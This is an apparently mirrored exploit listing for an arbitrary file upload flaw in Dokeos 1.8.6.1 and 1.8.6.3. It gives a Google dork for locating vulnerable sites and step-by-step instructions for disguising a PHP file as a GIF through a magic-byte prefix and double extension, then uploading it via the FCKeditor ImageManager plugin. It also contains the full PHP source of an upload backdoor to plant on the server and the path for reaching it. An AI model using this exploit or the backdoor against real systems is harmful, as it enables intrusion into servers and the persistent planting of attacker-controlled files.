Dokeos 1.8.6.1 / 1.8.6.3 Arbitrary File Upload - CXSecurity.com

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漏洞ID 1750059 漏洞类型
发布时间 2019-09-22 更新时间 2019-09-22
CVE编号 N/A CNNVD-ID N/A
漏洞平台 N/A CVSS评分 N/A
|漏洞来源
https://cxsecurity.com/issue/WLB-2019090141
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
# Exploit Title: Dokeos 1.8.6.3 and 1.8.6.1- Arbitrary File Upload
# Google Dork: "Plateforme Dokeos 1.8.6.3 " or 1.8.6.1
# Date: 17/09/2019
# Exploit Author: Sohel Yousef Jellyfish security team
# Vendor Homepage: https://www.dokeos.com/
# Software Link: https://www.dokeos.com/
# Version: 1.8.6.3 - 1.8.6.1
# Tested on: kali linux
# CVE : N/A

# go to this dir to upload your file dokeos
1.8.6.3/main/inc/lib/fckeditor/editor/plugins/ImageManager/manager.php
# you can insert and upload files  rename your file to bel like
backdoor.php.gif
# and add this  GIF89;aGIF89;aGIF89;a   before <?PHP
# to be like this for examlple

GIF89;aGIF89;aGIF89;a<html>
 <head>
  <title>PHP Test</title>
  <form action="" method="post" enctype="multipart/form-data">
  <input type="file" name="fileToUpload" id="fileToUpload">
  <input type="submit" value="upload file" name="submit">
  </form>
 </head>
 <body>
 <?php echo '<p>FILE UPLOAD</p><br>';
 $tgt_dir = "uploads/";
 $tgt_file = $tgt_dir.basename($_FILES['fileToUpload']['name']);
 echo "<br>TARGET FILE= ".$tgt_file;
 //$filename = $_FILES['fileToUpload']['name'];
 echo "<br>FILE NAME FROM VARIABLE:- ".$_FILES["fileToUpload"]["name"];
 if(isset($_POST['submit']))
 {
 if(file_exists("uploads/".$_FILES["fileToUpload"]["name"]))
    { echo "<br>file exists, try with another name"; }
 else   {
         echo "<br>STARTING UPLOAD PROCESS<br>";
        if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"],
$tgt_file))
        { echo "<br>File UPLOADED:- ".$tgt_file; }

          else  { echo "<br>ERROR WHILE UPLOADING FILE<br>"; }
    }
 }
?>
 </body>
</html>

# upload the file and you can find your file here on this image browser
main/inc/lib/fckeditor/editor/plugins/ImageManager/images.php
# click and view the image / file you and will be here --->
dokeos/main/upload/users/0/my_files/.thumbs/.yourfile.php.gif
# remove .thumbs. to be like this
/main/upload/users/0/my_files/yourfile.php.gif
# and your file are ready
################################################################################################